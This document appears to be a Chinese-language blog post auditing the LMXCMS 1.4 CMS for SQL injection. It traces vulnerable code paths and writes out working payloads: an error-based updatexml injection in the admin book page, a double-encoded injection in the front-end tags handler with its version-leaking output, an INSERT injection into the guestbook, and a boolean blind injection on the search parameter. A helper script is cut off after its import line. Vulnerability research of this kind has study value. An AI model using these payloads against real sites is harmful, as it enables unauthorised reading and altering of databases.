lmxcms1.4
2022-04-17 14:17:36
# 环境准备
PHP5.4.45
进来后先安装
该框架漏洞在 cnvd
可以找到很多
# 代码审计
# sql 注入
# 后台
基本流程:getReply->parent::selectModel->parent::selectDB->sql
c/admin/BookAction.class.php 下存在一处 sql 查询
这里跟进查询
到 db.class.php
在封装的 selectDB
方法下
在这里添加一句 echo $sql;
注意闭合符号
url/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23
# 前台
# TagsAction.class.php
基本流程:getNameData->parent::oneModel->parent::oneDB->sql
接着是
这里封装的 p 函数
可以看到之类有 sql 的过滤
同理,在 oneDB 下加上 echo $sql;
这里可以用单引号来闭合,但是会转义
注意到源码
那就来二次编码
可以看到执行成功
1 | SELECT * FROM lmx_tags WHERE name = 'a' or updatexml(0,concat(0x7e,version()),1)#' limit 1sql语句有误XPATH syntax error: '~5.7.26' |
# BookAction.class.php
checkData 函数
基本流程:checkData->index::add->parent::addModel->parent::adddDB
老样子,打上输出语句
将需要的参数都添加上
这里是个 insert 语句
1 | setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,2,3,4,5,6,1);#=1 |
这里看下数据库
我们的数据已经插入
还应该注意一个参数
ischeck=1,可回显,也就是可见
ischeck=0,就是不可见
# SerchAction.class.php
基本流程:searchModel->searchCoutn::parent::countModel::parent::countDB->sql
1 | ?m=search&keywords=a&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0));%23 |
说明第一个字母是 l
可以修改下源码的编码方式继续注入
也可以通过 Lxxx 师傅的脚本
1 | import requests |
一篇很久之前的文章,如有错误欢迎指出